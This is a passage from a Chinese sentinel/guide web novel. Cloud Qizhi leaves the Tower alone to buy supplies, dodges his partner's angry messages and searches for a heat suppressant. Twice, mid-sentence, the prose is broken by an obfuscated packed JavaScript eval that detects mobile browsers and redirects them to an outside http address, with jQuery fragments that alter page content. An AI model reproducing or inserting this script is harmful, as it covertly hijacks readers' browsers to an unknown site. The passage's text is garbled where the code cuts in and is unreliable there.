这位哨兵说，他们外塔有传闻，只要云起之哨兵所参与的次元境，别说是C级次元境，就是D、E，甚至是更为微弱的F级次元境，他都必然能够让2S、3S级的哨兵加入到团队。 次元境是危险的，但只要云起之哨兵所参与的次元境，就令人充满了安全感。 云起之看到了奈哲尔的回复。 【奈哲尔：哦。】 【奈哲尔：或许就因为他的贪生怕死，导致分配不均匀，造成他人的困扰。】 一行信息，诉说着奈哲尔此时的心态，也显露出他对云起之的意见。 双S级的奈哲尔一开口，原本热络的群聊陷入了短暂的安静，大概持续了两分钟左右，有哨兵奉承奈哲尔。 渐渐地，群聊恢复了热络。 云起之点开群公告。 群公告中是团队对【洛尔贝涅镇海洋次元境】进行的初步探测。 无辐射，所以不需要准备辐射服。 微污染，次元境中的水、食物尽可能的情况下不要食用。 温度是零下10度左右，昼夜温差最高可达10度，最冷的夜晚温度甚至有可能达到20度。 团队的后勤部会统一准备帐篷、食物、水，以及常用药剂。 参与任务的哨兵需要自备厚实的衣物，还有根据自身情况所需要的药剂，就比如，有些哨兵即便等级不高，他们的精神就是很容易崩溃，在没有向导随队的情况下，他们能够做的就是自备疏导药剂。 精神疏导药剂比较特殊，价值昂贵，团队并不会免费提供。 除了这些必备物品外，哨兵还需要准备武器。 部分哨兵，就比如宴景鸢等高等级的哨兵，他们所掌握的异能灵活度非常高，他们或许并不需要配备武器，但是普通哨兵就不同了。 就比如云起之。 在分化为人鱼向导之前，他并没有控水的能力，他的唯一异能是分化为哨兵时最开始觉醒的异能。 短距离空间穿梭。 穿梭距离5米，CD时间长达20分钟。 过去云起之的体质是B级，属于平均线上的体质。 B级体质也是最常见的体质，在异能处于CD状态，又或者他们的异能并不适合作战时，他们能够使用的就是武器。 云起之的武器是一把金属枪。 八岁刚分化为C级哨兵时，他憋着一口气，会用大量时间进行体能训练，那时候他还有梦想，觉得自己即便没有强大的异能，他觉得他也能够通过努力，将自己卷成塔中最厉害的哨兵，让那些看不起他的家人看看他的厉害。 哦。 想法是美好的，现实很骨感。 哪怕再努力，他也比不上身边那些天才。 别说宴景鸢，对他来说，按照实力，他与身边所有人都处于天堑，3S级是遥不可及，就是B、A级，也都远在天堑。 那时他的心态很强大，一次次的气馁，也不影响他尝试着锻炼。 云新止总说，他是咸鱼，他就只会摆烂，他甚至没有努力的想法。 怎么可能没有过呢？ 身边的人都是天才，他被遥遥落在后方，他与他们之间的距离越来越远。 他当然会努力，因为他怕会被抛弃，然而，他们之间就是有着天然的差距，无论他多么努力，他们之间的距离也就只会越来越远。 当然，他的努力有很好的成果。 他的射击精准度很高，就是…… 为求更强的力量，在分化为人鱼向导之前，他在技术部定制的武器本体重量都比较重。 技术部制造武器，用材十分讲究，定制武器各方面根据使用者的习惯设计，价格…… 很贵。 云起之没钱，他的第一把武器是大哥云柏岚买给他的。 云起之很珍惜。 经过大量的训练，体能增强后，宴景鸢又根据云起之的情况，给他定制了第二把武器。 还年幼的他们并不需要进行次元境任务，不过，塔中的学生每日都有大量的训练课程，其中就包括对战。 在这里，C级哨兵的云起之即便多么努力，他的成绩也很差，完全追不上班级中的同学。 为了能够让云起之的成绩更好一些，宴景鸢开始三天两头带着他朝着技术部狂奔。 实力演绎，什么叫做战力不行靠装备取胜。 这种情况直到两年前云起之分化为人鱼向导之后才结束。 云起之尝试过，过去他能轻易使用的武器，他现在的身体情况根本适应不了。 就比如，重量稍重一些的弓箭、枪械等，他可以抱起来，但做不到长时间随身。 他的床下都是定制武器。 一个个更新换代的武器，都是云柏岚和宴景鸢买给他的，但现在，这些他全部都用不了，对他来说负重过重。 他现在使用的武器是一把非常轻的金属枪，很轻，后挫力弱，缺点是造成的输出数值相对有些低。 但没办法，因为别的武器对他来说压力都太大了。 执行次元境的任务时，这就是云起之的输出方式，很偶尔的时候会根据情况使用异能，当遇到特殊的危险时，那么，他就只能使用分化为人鱼后为他带来的异能。 控水。 他的控水能力很强。 因为异能的特殊性，他从来就没有机会与塔重的哨兵用异能进行切磋，但时不时，他会悄悄在次元境中使用控水能力。 眼睫低垂，云起之检查了一下手中武器的情况，一个武器中配备7发子弹，他将足量的子弹放入外带的背包之中，脑海中思考着其他需要配备的物品。 食物、水，后勤部会配备，但以防万一，出任务的哨兵仍旧会单独准备以备不时之需，一般就是压缩饼干，又或者高热量食物等。 除此之外，还有一个必须要购买的物品。 通过宴景鸢所说的在他身上所嗅闻到的味道就能知道，他将迎来属于人鱼的发情期。 必须购买发情期抑制剂。 发情期抑制剂是小众药品，塔内的药店并不售卖，他要出一趟塔，在塔外的药店购买。 如果是过去的云起之，他或许会托他人为他购买，又或者是找人陪他一起出去，但现在…… 他想尝试着自己一个人出去。 他想到了宴景鸢说得话。 他说，巫凝莎和他不一样，巫凝莎是S级向导，她只要出去，就有危险。 云起之在塔中出生，在塔中长大，对他来说世界就是塔。 他从来没有对塔外的世界产生过好奇，也不知道塔外的世界是怎样的，但是…… 现在，他对塔外的世界产生了好奇。 他想，他或许可以去外界看看，毕竟，以后或许就再也没有机会了。 他一直处于塔内，别说是自己，他甚至从来没有和朋友等人去过塔外，他的生活简简单单，一直位于这一亩三分地的地方，而现在他想尝试看看不同的风景。 不知道路没关系，他可以使用导航，很轻易就能够找到塔外的药店购买所需药剂。 既然要出塔，那么，压缩饼干、巧克力等，他也可以在外界购买。 当然，还有药。 除了发情期的抑制剂外，还有退烧药、止痛药，以及，最重要的，治疗焦虑的药剂。 他明白，他现在就处于焦虑状态，他必须服用药剂平缓情绪。 时间已经临近下午一点。 没有拖延时间，云起之决定现在就出塔，这也是他第一次尝试着自己一个人走出去。 有些忐忑，还有些害怕，但更多的是对未知世界的疑惑，他过去从来没有过对外界的好奇，现在，被宴景鸢和巫凝莎点燃了。 云起之套上哨兵制服，开门。 几乎是瞬间，客厅沙发上的云雪盈、云新止二人目光齐刷刷看向了云起之。 云起之眼皮跳了跳，脚步顿了下，目不斜视，笔直地走出门。 关上门，他走向电梯。 从148层下降到99层，又在99层换乘电梯去1楼。 有面熟的哨兵询问云起之，他要去哪里？ 云起之看向这位哨兵，脸熟，但是没有印象，铭牌后面是A级，他轻声回复，“明天出次元境的任务，我打算去外界购买一些必需品。” 电梯内另一位哨兵说道：“啊，去外面买吗？” 塔每隔几层就建有超市，覆盖物品全面，家电、家具等都能够在其中找到，当然，听说款式并没有外界的多。 据说，塔内的家具显性冷淡风，对比之下，塔外的家具就显得花里胡哨。 云起之回复：“是的。” 这位哨兵一脸的迟疑，询问：“宴景鸢哨兵并不和你一起吗？” 云起之摇头。 又一位哨兵说道：“哦，云起之哨兵，建议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15034682|162294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您换私服出去，”他补充，“外面有很多奸商，如果看到您穿着塔制服，会把你当肥羊薅。” 云起之愣了下，真诚感谢：“好的，谢谢您。”这是一个很好的建议。 云起之走出电梯，重新回到了位于148层的家。 当他进入的那一瞬间，沙发上的姐弟二人目光再次齐刷刷看向了云起之，瞳孔伴随着云起之的移动而移动。 云起之：“……”他加快脚步进入房间，从衣橱中取出私服套上。 款式很简单，是宴景鸢买给他的，是纯棉质地的休闲外套，有些薄。 塔内四季都是常温，空调持续工作，温度维持在22度左右，塔外的温度大概在零上五度，对比之下内外差距有些大。 云起之不怕冷，穿得也就比较单薄。 塔内大家都穿制服，像这种私服云起之几乎没机会穿，这还是他第一次穿私服。 他穿着的外套有些大，越发将他衬托得瘦弱了起来。 他走出房间。 云起之不知道的是，云雪盈、云新止二人见到云起之穿上私服，面上表情愣怔，在他们的记忆中，这也是他们第一次看到云起之穿上私服。 在云起之加快脚步走出家门后，兄妹二人对视。 室内一片安静。 片刻后，云雪盈眉头微皱，说道：“……他不会，想出塔吧？” 云新止声音迟疑，“……穿上私服了，应该，是吧？” 云雪盈：“宴景鸢哨兵会跟着吧？” 云新止：“……肯定会吧？” 云雪盈犹犹豫豫，“宴景鸢哨兵如果没有跟着，那怎么办？” 云新止：“……”想了想，他说道，“应该不会吧？云起之就算去次元境，都要至少S级的哨兵一起，出塔的话……” 两人之间又是一阵沉默。 云雪盈说道：“一般来说，C级哨兵出塔，不会有问题。” 云新止：“……是的。” 一般来说是这样，但是…… 云新止犹犹豫豫，说道：“但是，他长成那个样子……” 云雪盈：“他还没戴口罩。” 云新止：“他也没戴帽子。” 二人之间又是一阵沉默。 云雪盈：“不过，宴景鸢哨兵肯定会跟着吧。” 顿了下，云新止补充：“就算宴景鸢哨兵没有跟着，还有从秋阳，如果是出塔，从秋阳肯定会跟着的。” 云雪盈：“应该……是的，吧？” 云新止：“……是。” 虽然这么想，但他们微妙的感到不安。 另一端。 完全不知道姐姐和弟弟的想法，云起之乘坐电梯下楼。 这次云起之穿的是私服，电梯内立刻就有哨兵意识到他可能是想要出塔，大家简单交流了一下。 从99层进入1层时，其中有哨兵热情推荐，距离塔三个站点之外有一家网红餐饮店，非常美味，如果经过，可以尝试一番。 云起之点头，暗暗记下来，即便今天不去，等这次的任务结束后，他也要找机会去。 大家除了推荐的网红餐饮店外，竟然还有什么猫咖狗咖小鸟咖。 这完全打开了云起之的新世界，塔外竟然还有这么神奇的地方。 等任务结束，他要找机会轮流去一次。 早上去小鸟咖，下午去猫咖，晚上去狗咖。 云起之还获取到了一则信息，这是他过去都不知道的。 云起之一直都知道，S级向导要外出，会有哨兵跟团，他不知道的是，塔中的C级向导想要出塔，竟也需要提前申请。 当然，一般来说只要提前申请，基本都会批下出塔许可证，与之对比，哨兵就不需要申请，甚至于3S级的哨兵也拥有随意出塔的权限。 电梯将要抵达一楼时，有一位哨兵看向云起之，询问：“云起之哨兵，您今天是和谁一起出塔呢？” 会有这个问题，主要是大家并没有在云起之身旁看到人。 云起之说道：“我自己。” “啊，你自己一个人真的可以吗？”这位哨兵看起来非常意外。 云起之：“可以的。” 恰好此时，电梯抵达一楼，云起之礼貌向众人点头，走出电梯。 一群人面面相觑，又将目光放到了云起之的身上。 “……他真的没问题吗？” “为什么宴景鸢哨兵没有和他在一起？”又说，“宴景鸢哨兵知道他要出塔吗？” “哦，对了，云起之哨兵的脸颊看起来好红，刚刚那么拥挤，我不小心碰到他，感觉他的体温好高。” “他好像病了。” “我也碰到了。”他又补充，“还好香，是一股很好闻的味道。” 一群人目光微妙地朝着这位哨兵看过来。 这位哨兵立刻说道：“你们别乱想，别误会，就是不小心碰到和闻到的，他的体温确实好高。” 几乎是云起之走出塔的刹那，相关他离塔的事情已经传开了。 没过多久，也传到了宴景鸢的耳中。 16.旧城区 塔的一楼非常嘈杂。 在塔生活这么多年，云起之几乎没机会进入一楼，他强大的五感捕捉到了各式各样的信息。 塔的一楼有许多办公区，隔开挺远的距离，他听到有人抱怨：“效率真慢，不就是一个入塔申请吗？明明我是B级哨兵，已经达到了入塔条件，为什么审批速度还这么慢？” “C级向导的速度就很快，从申请到审批通过，用时不会超过半个小时。” “哦哦，蓝向导，你是来办什么业务的？” “我想和我的爱人约会，申请外出许可。” “这还需要本人来办理吗？不是用终端发出请求就行吗？” “如果只是一、两天，确实可以通过终端按键申请，但我想出去七天，这需要本人来一楼填写外出申请，而且还需要面试。” “天啊，你们向导长时间外出，竟然还需要面试的吗？” “对哦，我是C级向导，面试一次就行了，如果是A级向导，听说要面试三次呢。” 一群人惊叹，这完全是他们的知识盲区。 云起之脚步微微停顿，目光朝着办公大厅的方向看了看，湛蓝的眸子四处扫了眼，走向通往外界的大门。 整个一楼四面八方都是人，走过路过，大家用好奇的目光看向云起之，这其中部分人是塔内的居民，更多的是来自塔外的人，他们来塔办理各式各样的手续。 也是通过他人的交谈，云起之才知道。 塔并不会强制给塔外的哨兵、向导发布任务，很多哨兵为了赚钱，会主动进入塔接取任务。 这部分哨兵会分批次加入到各大团队之中。 太吵了。 云起之有意识地建立精神力屏障，隔绝大量的信息。 走出一楼自动开启的玻璃门，云起之成功出塔。 今日温度是零上3度，时间刚好是下午一点，正是太阳最烈的时候，并不会让他感到冷。 他微微眯起眼睛，仰头看了看天空中的太阳，目光带着一丝好奇四处观察。 陌生。 他觉得陌生。 塔中团队执行任务时，一般都是去往地下，乘坐直通列车，又或者是客车。 当然，当距离相对来说比较远的时候，他们会通过列车进入机场，乘坐飞机去往目标地，也是因此，他完全没机会走出塔。 他手指点在个人终端上，面前投影出虚拟面板，他开启地图。 搜寻关键词：超市。 地图上立刻出现各大超市的名称，以及从他所站的地方到超市之间的距离。 当他的手指点在其中某个超市时，一旁会提示通往超市的方式。 按照地图提示，他能够以三种方式去往目的地。 第一，步行。 第二，打车。 第三，乘坐公共交通车。 地图很贴心，如果选择步行，出现导航的同时，旁边还备注了徒步所需要的时间。 打车，又或者乘公共交通车，不仅显示了所需要的时间，还有大致费用。 塔的位置比较偏僻。 云起之现在所在的地方与地图上最近的一家超市，距离高达16公里。 打车需要35左右，但是，如果乘坐公共交通车，只需要2块钱。 哦。 如果选择乘坐地铁，起步价是3块钱。 云起之并没有太大的金钱观，他没有零花钱，他的钱几乎都是云柏岚给的，生活所需物品，包括贴身衣物都是云柏岚和宴景鸢给他买的，很偶尔的时候，例如想要定制武器急需钱时，他会将人鱼之泪制造成疏导药剂向外售卖。 当然，这种情况非常少见。 他知道的是，哥哥赚钱不容易，他也不能一直用宴景鸢的钱，尽可能的情况下，他会节省每一分钱。 根据导航提示，他走去附近的公交车站点。 不远，从塔的出口步行两分钟的距离。 公交车站点有许多人，他们的目光全都落在了云起之的身上，有人压低声音发出惊叹。 虽说云起之已经建立了精神力屏障，但在这么近的距离下，他还是听到了他们的交谈。 ——“是他吧？” ——“白色的长发，这么好看，只能是他吧？” ——“塔第一美人，云起之哨兵。” 云起之：“……” 云起之眼皮跳了跳。 在塔，他几乎没有听到这种称呼，没想到塔外竟有人这样称呼他。 手腕上的终端一阵震动。 云起之抬起手，看向个人终端，是宴景鸢发来的视讯请求。 云起之关闭。 宴景鸢又连续发了几次，云起之次次关闭。 几次的失败过后，宴景鸢给云起之发送私信。 原本云起之并不想阅读，但手指误触，私信被开启，下一刻，信息显示为已阅。 【宴景鸢：你在哪里？】 云起之眉头微皱，没有回。 【宴景鸢：听说你出塔了？】 【宴景鸢：为什么不和我说？你从来没有出过塔，你不知道外界的情况。】 云起之：“……” 【宴景鸢：你现在回来。】 状态栏显示，云起之已阅，但他不回。 【宴景鸢：乖，现在立刻回来，你对外界的情况一无所知，我不放心你一个人，如果你一定要出去，我可以带着你出去。】 就在这时，一亮公交车抵达。 云起之有预感，如果他现在不进入公交车内，那么，宴景鸢有可能会立刻过来将他给带走。 虽说并不知道面前的公交车通往哪里，云起之还是随着人流一起进入公交车，之后…… 人生第一次乘坐公交车，他甚至不懂要怎么结算。 公交车内有很多的好心人，他们热情地教云起之结算的方式，然后，有一位年轻人直接为云起之支付了费用。 云起之有些茫然，看向这位青年人，说道：“我可以给您转账。” 年轻人频频表示不用，云起之才作罢，他真心实感地道谢。 公交车内人很多，座位全满，一大群人握住扶手站立，他们的目光或直接或隐晦，几乎均放到了云起之的身上。 云起之听到有人压低声音喃喃：“人类真的可以长成这样吗？” 云起之：“……” 云起之眼睫低垂，为避免宴景鸢找过来，他关闭终端定位。 公交车行驶。 太忽然了，云起之的身形晃动，好在身旁的一位年轻人扶住他，否则他大概会在忽然的摇晃下倒下。 云起之连忙道谢。 年轻人脸颊有些红，放开云起之，说道：“哦，哦哦，不，不用谢，应应应该的。”他又说，“握住把手。” 云起之歪了歪头，单手握住把手，他的目光再次放到了个人终端投出的光屏上。 也就这么短的时间，宴景鸢已经给云起之发出了许多条信息，每一条信息都是让他回去，又或者站在原地等他，他现在立刻下楼去找他。 云起之眼睫颤了颤，他又想到了昨天宴景鸢说的话。 ——“起之，你不是向导，你没有办法理解她的处境。” 云起之手指在屏幕上轻轻点了下，带着恶意的，他回复他的信息。 【云起之：我无法理解巫凝莎的处境，我不是向导，所以，你也不用担心我。】 宴景鸢再次给云起之发送视讯请求。 云起之拒绝。 【宴景鸢：云起之，接视讯，你不要让我生气。】 通过这一段文字，云起之意识到，他应该是真的生气了。 有那么一瞬间，云起之退缩了，因为…… 宴景鸢真的生气，对云起之而言是有些可怕的。 很多时候，他只能放弃自尊哄宴景鸢，这是维系他们之间感情的唯一办法。 卑微。 放下所剩无几的自尊。 对云起之来说，非常难受。 但是…… 云起之眼皮跳了跳。 因为不安，他的能够感觉得到心跳速度在加快，与此同时，他在心中对自己说，没关系的，没关系的。 他要享受当下。 一旦彻底放弃对宴景鸢的贪念，那么，他以后会生存在限定的空间。 他以后或许再也没有机会自己一个人走出塔了，所以，他可以享受当下的。 看。 只是走出塔，他已经尝试了过去从来没有做过的事情。 他乘坐上了公交车。 他接受了陌生人的好意。 他通过公交车的玻璃窗，而不是高塔的玻璃窗，更加直观的看到了外界的世界。 这还只是今天的开始，他看到了外界的冰山一角。 他没必要妥协。 原本他和宴景鸢就走不长远。 他试图说服自己，不要恐惧宴景鸢。 【云起之：你拒绝巫凝莎，明天和我一起去C级次元境。】 【宴景鸢：今天就说过了，这不可能。】 【云起之：你拒绝她。】 【宴景鸢：云起之，你不要任性。】 云起之没有回复。 不久后，宴景鸢又发来了信息。 【宴景鸢：你关闭了定位？】 【宴景鸢：云起之，接视讯。】 云起之眼皮一阵狂跳，宴景鸢发来的每一条信息都影响着他现在的情绪，与其一直被内耗，他暂时屏蔽了宴景鸢。 感觉整个世界都安静了。 云起之看向窗外。 公交车的速度非常快，在马路上飞驰。 塔位于偏远的郊区，在极速行驶十分钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15038826|162294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左右，周遭建筑物多了起来。 一些高耸的建筑物上会有广告，其中一个广告牌就是酒。 就和烟一样，酒也属于刺激性物品，严格意义上它并不太适合哨兵、向导，但塔有许多人沉迷于它。 在这一方面，云起之也没有例外。 自从成年后，云起之没少和宴景鸢一起参与聚餐。 他喜欢果酒，带着浓郁的果香，味道清甜，还有就是…… 只是喝了一点点，脑袋就会晕晕沉沉。 他喜欢这种微醺的感觉。 不过…… 宴景鸢不让他喝酒。 宴景鸢说他的酒品不太好，他说，如果实在是想喝，那么就在只有他们二人情况下可以稍微喝一些。 云起之很喜欢，但考虑到宴景鸢说他的酒品不太好，虽说他并没有自己酒品不太好的自觉，权衡利弊，也就很偶尔的时候在和只有宴景鸢两个人时稍微喝一点点。 他的目光看着广告，想喝。 在这种烦躁的时刻，比起那一股甜香，他更想要那种晕晕沉沉的微醺感。 酒精能够让烦躁的情绪得到舒缓。 这就是为什么酒精并不是什么好东西，但为什么那么多人沉迷于酒精中不可自拔的原因。 公交车行驶三十分钟左右，停下。 这是从塔之后的第一站，因为塔所在的位置太偏，所以第一站用时比较久，接下来每一个站点只有五分钟的距离。 反正都是不认识的地方，没有多想，云起之直接在第一个站点下车。 他目光好奇地四处打量，宽敞的街道上是行车，路的两边是各式各样的商店。 他是第一次来到这种地方，看哪里都很新奇。 有一位年轻妈妈牵着五、六岁小朋友的手。 小朋友蹦蹦跳跳，朝气蓬勃，他说：“妈妈！妈妈，我想吃冰淇淋。” 年轻妈妈说：“不行。” 小朋友嘟嘴，他说道：“我想吃，妈妈，我想吃吗，妈妈我爱你啊，妈妈让我吃冰淇淋好不好？”他软糯糯地撒娇。 小朋友生得软萌可爱，声音甜软，云起之想说，给他买，什么都给他买。 年轻妈妈轻笑出声，她微微蹲下身，捏了下小朋友的鼻头，说道：“就算你多么爱妈妈都不行，现在天气还很凉，吃凉会生病，你不想吃，也不能吃。” 小朋友还想说什么，但是…… 小朋友看到了云起之。 小朋友愣了下，他瞪大眼睛，目光直勾勾地看着云起之，说道：“哦，妈妈，那我不吃冰淇淋了。” 年轻妈妈愣了下，有些意外，今天家中的小朋友竟然这么好说话。 下一刻，就听这个小朋友说道：“妈妈，我不吃冰淇淋了，”他一脸羞赧，“你可不可以帮我问问那个漂亮哥哥，等我长大之后可不可以嫁给我？我肯定会节省爸爸妈妈的钱，以后全都给漂亮哥哥当彩礼。”他目光眼巴巴地看向云起之。 云起之：“……” 年轻妈妈没忍住，在小朋友的脑袋上轻轻拍了下，顺着他的目光看向云起之，瞪大眼睛，一脸的恍惚茫然，说道：“呃，宝贝，妈妈觉得妈妈现在就可以嫁。”她一脸荡漾地看着云起之。 好一对同调状态的母子。 “……”云起之对二人点点头，迈开脚步，与他们错身而过。 伴随云起之的动作，母子二人同步回头朝着云起之看去。 小朋友说道：“为什么可以这么好看啊！” 年轻妈妈跟着说：“对啊！” 不仅是这对母子，街道上诸多人都将目光放到了云起之的身上。 云起之目光好奇地看街道上的店铺。 理发店、按摩店、理疗店、礼品店。 哦，还有药店。 对。 他需要购买发情期抑制剂。 云起之走进药店。 药店里面有好几位客户，云起之进入的刹那，他们的目光齐齐朝着他看了过来。 云起之已经习惯了他人的目光注视，排在队伍后方，那双带着探索的目光打量店铺内的摆设。 和塔内建立的药店有些像，少了一分规整，多了几分随意，例如结算台上竟然售卖糖果零食。 很快轮到了云起之。 让他失望的是，这家药店并不售卖全兽化状态时所需要用到的抑制剂。 云起之询问：“我在哪里可以买到它？” 工作人员看着云起之，顿了下，说道：“我听说旧城区有售卖，”他又说，“不过，不建议您去哦，那里很危险。” 云起之疑惑：“那里为什么危险？” “那里有许多的流浪哨兵，更有穷凶极恶的盗匪团出没，那里又脏又乱，并不太适合您过去哦。” 云起之：“……” 但是，他必须购买发情期抑制剂。